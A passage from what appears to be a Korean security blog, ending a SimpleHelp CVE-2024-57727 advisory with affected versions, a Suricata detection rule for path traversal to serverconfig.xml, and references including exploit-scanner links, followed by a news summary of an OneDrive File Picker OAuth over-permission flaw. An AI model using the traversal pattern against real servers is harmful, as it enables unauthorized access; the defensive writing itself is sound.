> CVE-2024-57727 관련 스캐너 [8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-57727
CVE-2024-57728
CVE-2024-57726
SimpleHelp ~ v5.5.7 v5.5.8
 v5.4.10
v5.3.9

 

- 탐지 룰 적용 [10]

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET WEB_SPECIFIC_APPS SimpleHelp Support Server Unauthenticated Path Traversal (serverconfig.xml) (CVE-2024-57727)"; flow:established,to_server; content:"GET"; http_method; content:"|2e 2e 2f|"; http_uri; content:"serverconfig.xml"; http_uri; fast_pattern; distance:0; reference:url,www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/; reference:cve,2024-57727; classtype:web-application-attack; sid:2059843; rev:1; metadata:attack_target Server, tls_state TLSDecrypt, created_at 2025_02_03, cve CVE_2024_57727, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2025_02_03, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)

4. 참고

[1] https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-57727
[3] https://horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-57728
[5] https://attackerkb.com/topics/ZPM9Bbsv2L/cve-2024-57728
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-57726
[7] https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier
[8] https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.rb
[9] https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-57727.yaml
[10] https://asec.ahnlab.com/ko/86257
[11] https://www.dailysecu.com/news/articleView.html?idxno=166478

요약 - MS 클라우드 서비스인 OneDrive에 연동 앱들이 사용자 폴더 전체를 볼 수 있는 보안 허점 발견
- OneDrive에 저장된 파일을 챗GPT에 올릴 때, 업로드된 파일뿐 아니라 다른 모든 파일을 보거나 수정할 수 있음
내용 - Oasis Security 연구팀, OneDrive File Picker 기능에서 보안 허점 발견
> OneDrive File Picker : 윈드라이브에서 업로드할 파일을 선택할 때 쓰는 기능
> OneDrive File Picker를 통해 파일을 업로드할 때, 사용자의 전체 OneDrive 콘텐츠에 접근할 수 있음

- OneDrive에 대한 세분화된 OAuth 범위가 없기 때문에 발생하는 문제
> OneDrive File Picker 구현에서 단일 파일만 업로드하는 경우에도 전체 드라이브에 대한 읽기 권한 요청
> 업로드 완료 전 사용자에게 동의를 요청하는 메시지가 표시되나 메시지의 모호성 존재

- 또, OneDrive File Picker 관련 인증에 주로 쓰이는 마이크로소프트 인증 라이브러리(MSAL)에서도 문제 발견
> 인증 토큰 정보를 브라우저의 세션 저장 공간에 평문으로 저장
> 토큰을 자주 재발급해 사용자 데이터에 접근할 수 있는 기간을 늘인다는 문제도 존재

- MS 계정 페이지에서 외부 앱 접근 권한을 확인하고 불필요한 앱의 공유 중단 필요
기타 - Oasis는 취약점 발견 직후 MS와 해당 기능을 사용하는 기업에 통보
> MS 문제 개선 약속

 

보안뉴스

 

챗GPT에 파일 올렸을 뿐인데...내 원드라이브 다 노출된다고?

마이크로소프트 클라우드 서비스인 원드라이브에 연동 앱들이 사용자 폴더 전체를 들여다볼 수 있는 보안 허점이 있는 것으로 드러났다. 원드라이브에 저장된 파일을 챗GPT에 올릴 때, 챗GPT 앱

www.boannews.com

 

OneDrive File Picker OAuth Flaw Exposes Full Drive Access

Oasis Security reveals a OneDrive File Picker flaw allowing full drive read access via OAuth, affecting apps like ChatGPT, Slack, Trello, and ClickUp.

www.oasis.security

+ Recent posts